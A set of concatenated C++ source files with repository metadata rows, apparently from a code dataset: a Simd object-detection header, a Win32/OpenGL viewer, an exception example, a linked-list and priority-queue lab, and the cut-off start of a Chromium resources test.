/*!
Creates a new Object structure on the base of another object.
\param [in] o - another object.
*/
Object(const Object & o)
: rect(o.rect)
, weight(o.weight)
, tag(o.tag)
{
}
};
typedef std::vector<Object> Objects; /*!< A vector of objects type defenition. */
/*!
Creates a new empty Detection structure.
*/
Detection()
{
}
/*!
A Detection destructor.
*/
~Detection()
{
for (size_t i = 0; i < _data.size(); ++i)
::SimdDetectionFree(_data[i].handle);
}
/*!
Loads from file classifier cascade. Supports OpenCV HAAR and LBP cascades type.
You can call this function more than once if you want to use several object detectors at the same time.
\note Tree based cascades and old cascade formats are not supported!
\param [in] path - a path to cascade.
\param [in] tag - an user defined tag. This tag will be inserted in output Object structure.
\return a result of this operation.
*/
bool Load(const std::string & path, Tag tag = UNDEFINED_OBJECT_TAG)
{
Handle handle = ::SimdDetectionLoadA(path.c_str());
if (handle)
{
Data data;
data.handle = handle;
data.tag = tag;
::SimdDetectionInfo(handle, (size_t*)&data.size.x, (size_t*)&data.size.y, &data.flags);
_data.push_back(data);
}
return handle != NULL;
}
/*!
Prepares Detection structure to work with image of given size.
\param [in] imageSize - a size of input image.
\param [in] scaleFactor - a scale factor. To detect objects of different sizes the algorithm uses many scaled image.
This parameter defines size difference between neighboring images. This parameter strongly affects to performance.
\param [in] sizeMin - a minimal size of detected objects. This parameter strongly affects to performance.
\param [in] sizeMax - a maximal size of detected objects.
\param [in] roi - a 8-bit image mask which defines Region Of Interest. User can restricts detection region with using this mask.
The mask affects to the center of detected object.
\param [in] threadNumber - a number of work threads. It useful for multi core CPU. Use value -1 to auto choose of thread number.
\return a result of this operation.
*/
bool Init(const Size & imageSize, double scaleFactor = 1.1, const Size & sizeMin = Size(0, 0),
const Size & sizeMax = Size(INT_MAX, INT_MAX), const View & roi = View(), ptrdiff_t threadNumber = -1)
{
if (_data.empty())
return false;
_imageSize = imageSize;
ptrdiff_t threadNumberMax = std::thread::hardware_concurrency();
_threadNumber = (threadNumber <= 0 || threadNumber > threadNumberMax) ? threadNumberMax : threadNumber;
return InitLevels(scaleFactor, sizeMin, sizeMax, roi);
}
/*!
Detects objects at given image.
\param [in] src - a input image.
\param [out] objects - detected objects.
\param [in] groupSizeMin - a minimal weight (number of elementary detections) of detected image.
\param [in] sizeDifferenceMax - a parameter to group elementary detections.
\param [in] motionMask - an using of motion detection flag. Useful for dynamical restriction of detection region to addition to ROI.
\param [in] motionRegions - a set of rectangles (motion regions) to restrict detection region to addition to ROI.
The regions affect to the center of detected object.
\return a result of this operation.
*/
bool Detect(const View & src, Objects & objects, int groupSizeMin = 3, double sizeDifferenceMax = 0.2,
bool motionMask = false, const Rects & motionRegions = Rects())
{
SIMD_CHECK_PERFORMANCE();
if (_levels.empty() || src.Size() != _imageSize)
return false;
FillLevels(src);
typedef std::map<Tag, Objects> Candidates;
Candidates candidates;
for (size_t i = 0; i < _levels.size(); ++i)
{
Level & level = *_levels[i];
View mask = level.roi;
Rect rect = level.rect;
if (motionMask)
{
FillMotionMask(motionRegions, level, rect);
mask = level.mask;
}
if (rect.Empty())
continue;
for (size_t j = 0; j < level.hids.size(); ++j)
{
Hid & hid = level.hids[j];
hid.Detect(mask, rect, level.dst, _threadNumber, level.throughColumn);
AddObjects(candidates[hid.data->tag], level.dst, rect, hid.data->size, level.scale,
level.throughColumn ? 2 : 1, hid.data->tag);
}
}
objects.clear();
for (typename Candidates::iterator it = candidates.begin(); it != candidates.end(); ++it)
GroupObjects(objects, it->second, groupSizeMin, sizeDifferenceMax);
return true;
}
private:
typedef void * Handle;
struct Data
{
Handle handle;
Tag tag;
Size size;
::SimdDetectionInfoFlags flags;
bool Haar() const { return (flags&::SimdDetectionInfoFeatureMask) == ::SimdDetectionInfoFeatureHaar; }
bool Tilted() const { return (flags&::SimdDetectionInfoHasTilted) != 0; }
bool Int16() const { return (flags&::SimdDetectionInfoCanInt16) != 0; }
};
typedef void(*DetectPtr)(const void * hid, const uint8_t * mask, size_t maskStride,
ptrdiff_t left, ptrdiff_t top, ptrdiff_t right, ptrdiff_t bottom, uint8_t * dst, size_t dstStride);
struct Worker;
typedef std::shared_ptr<Worker> WorkerPtr;
typedef std::vector<WorkerPtr> WorkerPtrs;
struct Hid
{
Handle handle;
Data * data;
DetectPtr detect;
void Detect(const View & mask, const Rect & rect, View & dst, size_t threadNumber, bool throughColumn)
{
SIMD_CHECK_PERFORMANCE();
Size s = dst.Size() - data->size;
View m = mask.Region(s, View::MiddleCenter);
Rect r = rect.Shifted(-data->size / 2).Intersection(Rect(s));
Simd::Fill(dst, 0);
::SimdDetectionPrepare(handle);
Parallel(r.top, r.bottom, [&](size_t thread, size_t begin, size_t end)
{
detect(handle, m.data, m.stride, r.left, begin, r.right, end, dst.data, dst.stride);
}, rect.Area() >= (data->Haar() ? 10000 : 30000) ? threadNumber : 1, throughColumn ? 2 : 1);
}
};
typedef std::vector<Hid> Hids;
struct Level
{
Hids hids;
double scale;
View src;
View roi;
View mask;
Rect rect;
View sum;
View sqsum;
View tilted;
View dst;
bool throughColumn;
bool needSqsum;
bool needTilted;
~Level()
{
for (size_t i = 0; i < hids.size(); ++i)
::SimdDetectionFree(hids[i].handle);
}
};
typedef std::unique_ptr<Level> LevelPtr;
typedef std::vector<LevelPtr> LevelPtrs;
std::vector<Data> _data;
Size _imageSize;
bool _needNormalization;
ptrdiff_t _threadNumber;
LevelPtrs _levels;
bool InitLevels(double scaleFactor, const Size & sizeMin, const Size & sizeMax, const View & roi)
{
_needNormalization = false;
_levels.clear();
_levels.reserve(100);
double scale = 1.0;
do
{
std::vector<bool> inserts(_data.size(), false);
bool exit = true, insert = false;
for (size_t i = 0; i < _data.size(); ++i)
{
Size windowSize = _data[i].size * scale;
if (windowSize.x <= sizeMax.x && windowSize.y <= sizeMax.y &&
windowSize.x <= _imageSize.x && windowSize.y <= _imageSize.y)
{
if (windowSize.x >= sizeMin.x && windowSize.y >= sizeMin.y)
insert = inserts[i] = true;
exit = false;
}
}
if (exit)
break;
if (insert)
{
_levels.push_back(LevelPtr(new Level()));
Level & level = *_levels.back();
level.scale = scale;
level.throughColumn = scale <= 2.0;
Size scaledSize(_imageSize / scale);
level.src.Recreate(scaledSize, View::Gray8);
level.roi.Recreate(scaledSize, View::Gray8);
level.mask.Recreate(scaledSize, View::Gray8);
level.sum.Recreate(scaledSize + Size(1, 1), View::Int32);
level.sqsum.Recreate(scaledSize + Size(1, 1), View::Int32);
level.tilted.Recreate(scaledSize + Size(1, 1), View::Int32);
level.dst.Recreate(scaledSize, View::Gray8);
level.needSqsum = false, level.needTilted = false;
for (size_t i = 0; i < _data.size(); ++i)
{
if (!inserts[i])
continue;
Handle handle = ::SimdDetectionInit(_data[i].handle, level.sum.data, level.sum.stride, level.sum.width, level.sum.height,
level.sqsum.data, level.sqsum.stride, level.tilted.data, level.tilted.stride, level.throughColumn, _data[i].Int16());
if (handle)
{
Hid hid;
hid.handle = handle;
hid.data = &_data[i];
if (_data[i].Haar())
hid.detect = level.throughColumn ? ::SimdDetectionHaarDetect32fi : ::SimdDetectionHaarDetect32fp;
else
{
if (_data[i].Int16())
hid.detect = level.throughColumn ? ::SimdDetectionLbpDetect16ii : ::SimdDetectionLbpDetect16ip;
else
hid.detect = level.throughColumn ? ::SimdDetectionLbpDetect32fi : ::SimdDetectionLbpDetect32fp;
}
level.hids.push_back(hid);
}
else
return false;
level.needSqsum = level.needSqsum | _data[i].Haar();
level.needTilted = level.needTilted | _data[i].Tilted();
_needNormalization = _needNormalization | _data[i].Haar();
}
level.rect = Rect(level.roi.Size());
if (roi.format == View::None)
Simd::Fill(level.roi, 255);
else
{
Simd::ResizeBilinear(roi, level.roi);
Simd::Binarization(level.roi, 0, 255, 0, level.roi, SimdCompareGreater);
Simd::SegmentationShrinkRegion(level.roi, 255, level.rect);
}
}
scale *= scaleFactor;
} while (true);
return !_levels.empty();
}
void FillLevels(View src)
{
View gray;
if (src.format != View::Gray8)
{
gray.Recreate(src.Size(), View::Gray8);
Convert(src, gray);
src = gray;
}
Simd::ResizeBilinear(src, _levels[0]->src);
if (_needNormalization)
Simd::NormalizeHistogram(_levels[0]->src, _levels[0]->src);
EstimateIntegral(*_levels[0]);
for (size_t i = 1; i < _levels.size(); ++i)
{
Simd::ResizeBilinear(_levels[0]->src, _levels[i]->src);
EstimateIntegral(*_levels[i]);
}
}
void EstimateIntegral(Level & level)
{
if (level.needSqsum)
{
if (level.needTilted)
Simd::Integral(level.src, level.sum, level.sqsum, level.tilted);
else
Simd::Integral(level.src, level.sum, level.sqsum);
}
else
Simd::Integral(level.src, level.sum);
}
void FillMotionMask(const Rects & rects, Level & level, Rect & rect) const
{
Simd::Fill(level.mask, 0);
rect = Rect();
for (size_t i = 0; i < rects.size(); i++)
{
Rect r = rects[i] / level.scale;
rect |= r;
Simd::Fill(level.mask.Region(r).Ref(), 0xFF);
}
rect &= level.rect;
Simd::OperationBinary8u(level.mask, level.roi, level.mask, SimdOperationBinary8uAnd);
}
void AddObjects(Objects & objects, const View & dst, const Rect & rect, const Size & size, double scale, size_t step, Tag tag)
{
Size s = dst.Size() - size;
Rect r = rect.Shifted(-size / 2).Intersection(Rect(s));
for (ptrdiff_t row = r.top; row < r.bottom; row += step)
{
const uint8_t * mask = dst.data + row*dst.stride;
for (ptrdiff_t col = r.left; col < r.right; col += step)
{
if (mask[col] != 0)
objects.push_back(Object(Rect(col, row, col + size.x, row + size.y)*scale, 1, tag));
}
}
}
struct Similar
{
Similar(double sizeDifferenceMax)
: _sizeDifferenceMax(sizeDifferenceMax)
{}
SIMD_INLINE bool operator() (const Object & o1, const Object & o2) const
{
const Rect & r1 = o1.rect;
const Rect & r2 = o2.rect;
double delta = _sizeDifferenceMax*(std::min(r1.Width(), r2.Width()) + std::min(r1.Height(), r2.Height()))*0.5;
return
std::abs(r1.left - r2.left) <= delta && std::abs(r1.top - r2.top) <= delta &&
std::abs(r1.right - r2.right) <= delta && std::abs(r1.bottom - r2.bottom) <= delta;
}
private:
double _sizeDifferenceMax;
};
template<typename T> int Partition(const std::vector<T> & vec, std::vector<int> & labels, double sizeDifferenceMax)
{
Similar similar(sizeDifferenceMax);
int i, j, N = (int)vec.size();
const int PARENT = 0;
const int RANK = 1;
std::vector<int> _nodes(N * 2);
int(*nodes)[2] = (int(*)[2])&_nodes[0];
for (i = 0; i < N; i++)
{
nodes[i][PARENT] = -1;
nodes[i][RANK] = 0;
}
for (i = 0; i < N; i++)
{
int root = i;
while (nodes[root][PARENT] >= 0)
root = nodes[root][PARENT];
for (j = 0; j < N; j++)
{
if (i == j || !similar(vec[i], vec[j]))
continue;
int root2 = j;
while (nodes[root2][PARENT] >= 0)
root2 = nodes[root2][PARENT];
if (root2 != root)
{
int rank = nodes[root][RANK], rank2 = nodes[root2][RANK];
if (rank > rank2)
nodes[root2][PARENT] = root;
else
{
nodes[root][PARENT] = root2;
nodes[root2][RANK] += rank == rank2;
root = root2;
}
assert(nodes[root][PARENT] < 0);
int k = j, parent;
while ((parent = nodes[k][PARENT]) >= 0)
{
nodes[k][PARENT] = root;
k = parent;
}
k = i;
while ((parent = nodes[k][PARENT]) >= 0)
{
nodes[k][PARENT] = root;
k = parent;
}
}
}
}
labels.resize(N);
int nclasses = 0;
for (i = 0; i < N; i++)
{
int root = i;
while (nodes[root][PARENT] >= 0)
root = nodes[root][PARENT];
if (nodes[root][RANK] >= 0)
nodes[root][RANK] = ~nclasses++;
labels[i] = ~nodes[root][RANK];
}
return nclasses;
}
void GroupObjects(Objects & dst, const Objects & src, size_t groupSizeMin, double sizeDifferenceMax)
{
if (groupSizeMin == 0 || src.size() < groupSizeMin)
return;
std::vector<int> labels;
int nclasses = Partition(src, labels, sizeDifferenceMax);
Objects buffer;
buffer.resize(nclasses);
for (size_t i = 0; i < labels.size(); ++i)
{
int cls = labels[i];
buffer[cls].rect += src[i].rect;
buffer[cls].weight++;
buffer[cls].tag = src[i].tag;
}
for (size_t i = 0; i < buffer.size(); i++)
buffer[i].rect = buffer[i].rect / double(buffer[i].weight);
for (size_t i = 0; i < buffer.size(); i++)
{
Rect r1 = buffer[i].rect;
int n1 = buffer[i].weight;
if (n1 < (int)groupSizeMin)
continue;
size_t j;
for (j = 0; j < buffer.size(); j++)
{
int n2 = buffer[j].weight;
if (j == i || n2 < (int)groupSizeMin)
continue;
Rect r2 = buffer[j].rect;
int dx = Simd::Round(r2.Width() * sizeDifferenceMax);
int dy = Simd::Round(r2.Height() * sizeDifferenceMax);
if (i != j && (n2 > std::max(3, n1) || n1 < 3) &&
r1.left >= r2.left - dx && r1.top >= r2.top - dy &&
r1.right <= r2.right + dx && r1.bottom <= r2.bottom + dy)
break;
}
if (j == buffer.size())
dst.push_back(buffer[i]);
}
}
};
}
#endif//__SimdDetection_hpp__
| [
"payu.chen0422@gmail.com"
] | payu.chen0422@gmail.com |
27301116e8e2de5a0f2b89682013bdf1068ab137 | 9f26816fd6f22141665a5ee35963d2d6fa08bfab | /main.cpp | 6b5e4d28c78a6e46423a07f4dab2cd152c89059d | [] | no_license | erikhallin/MSMS_view---NEW | 11668e2c20eeb0c60c4f9859cf219c3208b44902 | 41bf38f40b6e57da5a64aca80ffaf2d7fc07e05f | refs/heads/master | 2020-07-03T05:20:26.592395 | 2019-08-11T17:52:46 | 2019-08-11T17:52:46 | 201,797,134 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,001 | cpp | #include <windows.h>
#include <gl/gl.h>
#include <fcntl.h> //for console
#include <stdio.h> //for console
#include <iostream>
#include <sstream>
#include <fstream>
#include <vector>
#include "viewer.h"
#define _version 1.0
using namespace std;
int g_window_width=800;
int g_window_height=600;
bool g_mouse_but[2];
int g_mouse_pos[2];
bool g_keys[256];
LRESULT CALLBACK WindowProc(HWND, UINT, WPARAM, LPARAM);
void EnableOpenGL(HWND hwnd, HDC*, HGLRC*);
void DisableOpenGL(HWND, HDC, HGLRC);
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
string command_line=lpCmdLine;
bool debug_mode=false;
if(command_line=="debug") debug_mode=true;
//get file name for window name
string filename("MSMS View - ");
int char_count=0;
if( debug_mode || command_line.empty() ) filename.append("Debug");
else for(int i=(int)command_line.size()-1;i>=0;i--)
{
if(command_line[i]=='\\')
{
//found start of filename
filename.append( string( command_line,i+1,char_count-1 ) );
break;
}
char_count++;
}
//get screen resolution
RECT desktop;
// Get a handle to the desktop window
const HWND hDesktop = GetDesktopWindow();
// Get the size of screen to the variable desktop
GetWindowRect(hDesktop, &desktop);
g_window_width = desktop.right;
//g_window_height = desktop.bottom;
WNDCLASSEX wcex;
HWND hwnd;
HDC hDC;
HGLRC hRC;
MSG msg;
BOOL bQuit = FALSE;
/* register window class */
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_OWNDC;
wcex.lpfnWndProc = WindowProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = filename.c_str();
wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (!RegisterClassEx(&wcex))
return 0;
/* create main window */
hwnd = CreateWindowEx(0,
filename.c_str(),
filename.c_str(),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
g_window_width,
g_window_height,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hwnd, nCmdShow);
//if debug mode start console
if(debug_mode)
{
//Open a console window
AllocConsole();
//Connect console output
HANDLE handle_out = GetStdHandle(STD_OUTPUT_HANDLE);
int hCrt = _open_osfhandle((long) handle_out, _O_TEXT);
FILE* hf_out = _fdopen(hCrt, "w");
setvbuf(hf_out, NULL, _IONBF, 1);
*stdout = *hf_out;
//Connect console input
HANDLE handle_in = GetStdHandle(STD_INPUT_HANDLE);
hCrt = _open_osfhandle((long) handle_in, _O_TEXT);
FILE* hf_in = _fdopen(hCrt, "r");
setvbuf(hf_in, NULL, _IONBF, 128);
*stdin = *hf_in;
//Set console title
SetConsoleTitle("Debug Console");
cout<<"Software started\n";
cout<<"Version: "<<_version<<endl;
}
/* enable OpenGL for the window */
EnableOpenGL(hwnd, &hDC, &hRC);
//get path to running location
char result[ MAX_PATH ];
string run_path=string( result, GetModuleFileName( NULL, result, MAX_PATH ) );
//cout<<run_path<<endl;
//init viewer
for(int i=0;i<256;i++) g_keys[i]=false;
g_mouse_but[0]=false;
g_mouse_but[1]=false;
int screen_size[2]={g_window_width,g_window_height};
viewer Viewer;
if( !Viewer.init(screen_size,g_keys,g_mouse_pos,g_mouse_but,lpCmdLine,run_path) )
{
cout<<"ERROR: Could not initialize\n";
system("PAUSE");
return false;
}
/* program main loop */
while (!bQuit)
{
/* check for messages */
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
/* handle or dispatch messages */
if (msg.message == WM_QUIT)
{
bQuit = TRUE;
}
else
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
else
{
//Clear screen buffer
glClearColor(0.0f, 0.0f, 0.0f, 1.0f );
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glLoadIdentity();
Viewer.cycle();
SwapBuffers(hDC);
}
}
/* shutdown OpenGL */
DisableOpenGL(hwnd, hDC, hRC);
/* destroy the window explicitly */
DestroyWindow(hwnd);
return msg.wParam;
}
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CLOSE:
PostQuitMessage(0);
break;
case WM_DESTROY:
return 0;
case WM_KEYDOWN:
{
g_keys[wParam]=true;
//cout<<wParam<<endl;
switch (wParam)
{
case VK_ESCAPE:
PostQuitMessage(0);
break;
}
}break;
case WM_KEYUP:
{
g_keys[wParam]=false;
}break;
case WM_MOUSEMOVE:
{
g_mouse_pos[0]=LOWORD(lParam);
g_mouse_pos[1]=HIWORD(lParam)+38;//-22 pixel shift to get same coord as drawing
}
break;
case WM_LBUTTONDOWN:
{
g_mouse_but[0]=true;
}
break;
case WM_LBUTTONUP:
{
g_mouse_but[0]=false;
}
break;
case WM_RBUTTONDOWN:
{
g_mouse_but[1]=true;
//cout<<"x: "<<g_mouse_pos[0]<<", y: "<<g_mouse_pos[1]<<endl;
}
break;
case WM_RBUTTONUP:
{
g_mouse_but[1]=false;
}
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
void EnableOpenGL(HWND hwnd, HDC* hDC, HGLRC* hRC)
{
PIXELFORMATDESCRIPTOR pfd;
int iFormat;
/* get the device context (DC) */
*hDC = GetDC(hwnd);
/* set the pixel format for the DC */
ZeroMemory(&pfd, sizeof(pfd));
pfd.nSize = sizeof(pfd);
pfd.nVersion = 1;
pfd.dwFlags = PFD_DRAW_TO_WINDOW |
PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER;
pfd.iPixelType = PFD_TYPE_RGBA;
pfd.cColorBits = 24;
pfd.cDepthBits = 16;
pfd.iLayerType = PFD_MAIN_PLANE;
iFormat = ChoosePixelFormat(*hDC, &pfd);
SetPixelFormat(*hDC, iFormat, &pfd);
/* create and enable the render context (RC) */
*hRC = wglCreateContext(*hDC);
wglMakeCurrent(*hDC, *hRC);
//set 2D mode
glClearColor(0.0,0.0,0.0,0.0); //Set the cleared screen colour to black
glViewport(0,0,g_window_width,g_window_height); //This sets up the viewport so that the coordinates (0, 0) are at the top left of the window
//Set up the orthographic projection so that coordinates (0, 0) are in the top left
//and the minimum and maximum depth is -10 and 10. To enable depth just put in
//glEnable(GL_DEPTH_TEST)
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glOrtho(0,g_window_width,g_window_height,0,-1,1);
//Back to the modelview so we can draw stuff
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
//Enable antialiasing
glEnable(GL_LINE_SMOOTH);
glHint(GL_LINE_SMOOTH_HINT,GL_NICEST);
}
void DisableOpenGL (HWND hwnd, HDC hDC, HGLRC hRC)
{
wglMakeCurrent(NULL, NULL);
wglDeleteContext(hRC);
ReleaseDC(hwnd, hDC);
}
| [
"erik-hallin@hotmail.com"
] | erik-hallin@hotmail.com |
0e41040ce931658e733f2a7881702807599ae271 | fd849b22e0ad6754edbd1a0957b03fae36c3287f | /chapter5/custom_exception.cpp | 41016a72f3314044003072caaeaf52edd24310a1 | [
"Unlicense"
] | permissive | timmyjose-study/cpp-crash-course | 509ab5bb56fac2d8ce0dbfe6077f76f64529f306 | cd4044b52ec8c25f41844461c694a9ab9e0d72f7 | refs/heads/master | 2023-04-23T15:18:47.712531 | 2021-05-02T13:17:53 | 2021-05-02T13:17:53 | 362,509,304 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 524 | cpp | #include <iostream>
#include <stdexcept>
class MyException: public std::exception {
public:
const char* what() const throw() {
return "MyException!";
}
};
void throws_exception1() {
throw MyException();
}
void throws_exception2() {
throw new MyException;
}
int main() {
try {
throws_exception1();
} catch (MyException& e) {
std::cerr << e.what() << std::endl;
}
try {
throws_exception2();
} catch (MyException* e) {
std::cerr << e->what() << std::endl;
}
return 0;
}
| [
"zoltan.jose@gmail.com"
] | zoltan.jose@gmail.com |
3a6e21d769792f5183f14d7f78d470e9ed1352df | 7177d597d5721da863f20bf75d07a0b670fec1da | /Linzhu_lab_util.h | de88b71675881c930fe0d2221dd565dc471fc375 | [] | no_license | Linpig95/CIS22C-Data-Structure | 3f1e6988e27a254c869fccab58079ea4c3140ae8 | f242724427e66b4f27fc7c81e6054dfd5b880ebc | refs/heads/master | 2020-06-23T08:47:20.983745 | 2019-08-09T01:00:38 | 2019-08-09T01:00:38 | 198,575,408 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,214 | h | #include <iostream>
#include <memory>
#include <ostream>
using namespace std;
namespace Color {
enum Code {
FG_RED = 31,
FG_GREEN = 32,
FG_BLUE = 34,
FG_DEFAULT = 39,
BG_RED = 41,
BG_GREEN = 42,
BG_BLUE = 44,
BG_DEFAULT = 49
};
class Modifier {
Code code;
public:
Modifier() : code(FG_DEFAULT) {}
Modifier(Code pCode) : code(pCode) {}
friend std::ostream&
operator<<(std::ostream& os, const Modifier& mod) {
return os << "\033[" << mod.code << "m";
}
};
}
template<class T>
struct ListNode
{
ListNode(T a) : value(a) {}
T value;
std::shared_ptr<struct ListNode> next;
std::shared_ptr<struct ListNode> prev;
};
enum class EmptyState {
EMPTY_SINCE_START = 0,
EMPTY_AFTER_REMOVAL = 1,
NOT_EMPTY = 2
};
template<class T>
class DList
{
protected:
std::shared_ptr<ListNode<T>> head_;
std::shared_ptr<ListNode<T>> tail_;
uint32_t size_;
EmptyState empty_state_;
public:
shared_ptr<ListNode<T>> head() { return head_; }
bool is_empty() { return !head_; }
EmptyState empty_state() { return empty_state_; }
uint32_t size() { return size_; }
virtual T& operator[] (uint32_t i) {
shared_ptr<ListNode<T>> p = head_;
auto counter = 0;
while (p && counter < i) {
counter++;
p = p->next;
}
return p->value;
}
DList()
{
head_ = nullptr;
tail_ = nullptr;
size_ = 0;
empty_state_ = EmptyState::EMPTY_SINCE_START;
}
DList(const DList &other)
: head_(other.head_),
tail_(other.tail_),
empty_state_(other.empty_state_)
{
}
~DList()
{
shared_ptr<ListNode<T>> nodePtr;
shared_ptr<ListNode<T>> nextNode;
nodePtr = head_;
while (nodePtr != nullptr)
{
nextNode = nodePtr->next;
nodePtr = nextNode;
}
}
void append(shared_ptr<ListNode<T>> newNode);
void prepend(shared_ptr<ListNode<T>> newNode);
void remove(shared_ptr<ListNode<T>> curNode);
shared_ptr<ListNode<T>> search(T);
void print(){
printRecursive(head_);
}
void printRecursive(shared_ptr<ListNode<T>> node){
if(node == nullptr){
return;
}
cout << node->value << " ";
printRecursive(node->next);
}
};
template <class T>
void DList<T>::append(shared_ptr<ListNode<T>> newNode)
{
if (head_ == nullptr)
{
head_ = newNode;
tail_ = newNode;
}
else
{
tail_->next = newNode;
newNode->prev = tail_;
tail_ = newNode;
}
size_++;
empty_state_ = EmptyState::NOT_EMPTY;
}
template <class T>
void DList<T>::prepend(shared_ptr<ListNode<T>> newNode)
{
if (head_ == nullptr)
{
head_ = newNode;
tail_ = newNode;
}
else
{
newNode->next = head_;
head_->prev = newNode;
head_ = newNode;
}
size_++;
empty_state_ = EmptyState::NOT_EMPTY;
}
template <class T>
void DList<T>::remove(shared_ptr<ListNode<T>> curNode)
{
shared_ptr<ListNode<T>> SucNode;
shared_ptr<ListNode<T>> PrevNode;
if (!curNode && head_)
{
SucNode = head_->next;
head_ = SucNode;
if (head_) head_->prev = nullptr;
if (!SucNode)
{
tail_ = nullptr;
}
}
else
{
SucNode = curNode->next;
PrevNode = curNode->prev;
if (SucNode != nullptr)
{
SucNode->prev = PrevNode;
}
if (PrevNode != nullptr)
{
PrevNode->next = SucNode;
}
if (curNode == head_)
{
head_ = SucNode;
}
if (curNode == tail_)
{
tail_ = PrevNode;
}
}
size_--;
if (!size_) {
empty_state_ = EmptyState::EMPTY_AFTER_REMOVAL;
}
}
template <class T>
shared_ptr<ListNode<T>> DList<T>::search(T v)
{
shared_ptr<ListNode<T>> p = head_;
while (p) {
if (p->value == v) {
return p;
}
p = p->next;
}
return nullptr;
}
struct Customer {
string firstName;
string lastName;
string id;
bool operator ==(const Customer& other) {
return (firstName == other.firstName) &&
(lastName == other.lastName) && (id == other.id);
}
bool operator < (const Customer& other) {
if (firstName.length() < other.firstName.length()) {
return true;
} else if (firstName.length() > other.firstName.length()) {
return false;
}
return firstName < other.firstName;
}
bool operator > (const Customer& other) {
if (firstName.length() > other.firstName.length()) {
return true;
} else if (firstName.length() < other.firstName.length()) {
return false;
}
return firstName > other.firstName;
}
Customer(){}
Customer(string f, string l, string id)
: firstName(f),
lastName(l),
id(id)
{
}
friend ostream& operator<<(ostream& os, const Customer&);
};
ostream& operator<<(ostream& os, const Customer& c)
{
os << c.firstName;
return os;
}
template <class T>
class DynamicArray : public DList<T>
{
public:
void push_back(T val) { this->append(make_shared<ListNode<T>>(val)); }
void push_front(T val) { this->prepend(make_shared<ListNode<T>>(val)); }
void pop_back() { this->remove(this->tail_); }
void pop_front() { this->remove(nullptr); }
bool empty() { return this->is_empty(); }
T& front() { return this->head_->value; }
T& back() { return this->tail_->value; }
void resize(int n)
{
int size = this->size();
if (size > n)
{
for (int i = 0; i < size - n; i++)
{
pop_back();
}
} else if (size < n)
{
for (int i = 0; i < n - size; i++)
{
push_back(T());
}
}
}
};
template <class T>
class PriorityQueue
{
private:
int max_n_;
int n_;
DynamicArray<int> pq_;
DynamicArray<int> qp_;
DynamicArray<T> keys_;
public:
PriorityQueue(int max_n)
: n_(0),
max_n_(max_n)
{
qp_.resize(max_n_ + 1);
pq_.resize(max_n_ + 1);
keys_.resize(max_n_ + 1);
for (int i = 0; i <= max_n_; i++)
{
qp_[i] = -1;
}
}
bool greater(int i, int j)
{
return keys_[pq_[i]] > keys_[pq_[j]];
}
void exch(int i, int j)
{
int swap = pq_[i];
pq_[i] = pq_[j];
pq_[j] = swap;
qp_[pq_[i]] = i;
qp_[pq_[j]] = j;
}
void swim(int k)
{
while (k > 1 && greater(k/2, k)) {
exch(k, k/2);
k /= 2;
}
}
void sink(int k)
{
while (2 * k <= n_)
{
int j = 2*k;
if (j < n_ && greater(j, j+1)) j++;
if (!greater(k, j)) break;
exch(k, j);
k = j;
}
}
bool empty() { return n_ == 0; }
int size() { return n_; }
bool contains(int i) { return qp_[i] != -1; }
void push(int i, T key)
{
if (contains(i)) {
return;
}
n_++;
qp_[i] = n_;
pq_[n_] = i;
keys_[i] = key;
swim(n_);
}
int pop()
{
int min = pq_[1];
exch(1, n_--);
sink(1);
qp_[min] = -1;
keys_[min] = T();
pq_[n_+1] = -1;
return min;
}
void decrease_key(int i, T key)
{
keys_[i] = key;
swim(qp_[i]);
}
}; | [
"18692274795@163.com"
] | 18692274795@163.com |
721ab9b61e5ccc8d1380d441a33867ebaa426f49 | fb7efe44f4d9f30d623f880d0eb620f3a81f0fbd | /chrome/app/resources/resources_unittest.cc | 01a9d668d022dbc16fcda59a69dd0bfaa86745c1 | [
"BSD-3-Clause"
] | permissive | wzyy2/chromium-browser | 2644b0daf58f8b3caee8a6c09a2b448b2dfe059c | eb905f00a0f7e141e8d6c89be8fb26192a88c4b7 | refs/heads/master | 2022-11-23T20:25:08.120045 | 2018-01-16T06:41:26 | 2018-01-16T06:41:26 | 117,618,467 | 3 | 2 | BSD-3-Clause | 2022-11-20T22:03:57 | 2018-01-16T02:09:10 | null | UTF-8 | C++ | false | false | 2,211 | cc | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <string>
#include "base/files/file_enumerator.h"
#include "base/files/file_util.h"
#include "base/path_service.h"
#include "base/strings/string_util.h"
#include "chrome/grit/chromium_strings.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "ui/base/l10n/l10n_util.h"
#include "ui/base/material_design/material_design_controller.h"
#include "ui/base/resource/resource_bundle.h"
#include "ui/base/ui_base_paths.h"
class ResourcesTest : public ::testing::Test {
protected:
ResourcesTest() {
ui::RegisterPathProvider();
ui::MaterialDesignController::Initialize();
ui::ResourceBundle::InitSharedInstanceWithLocale(
"en-US", nullptr, ui::ResourceBundle::LOAD_COMMON_RESOURCES);
}
~ResourcesTest() override { ui::ResourceBundle::CleanupSharedInstance(); }
};
// Trailing whitespace has been the cause of a bug in the past. Make sure this
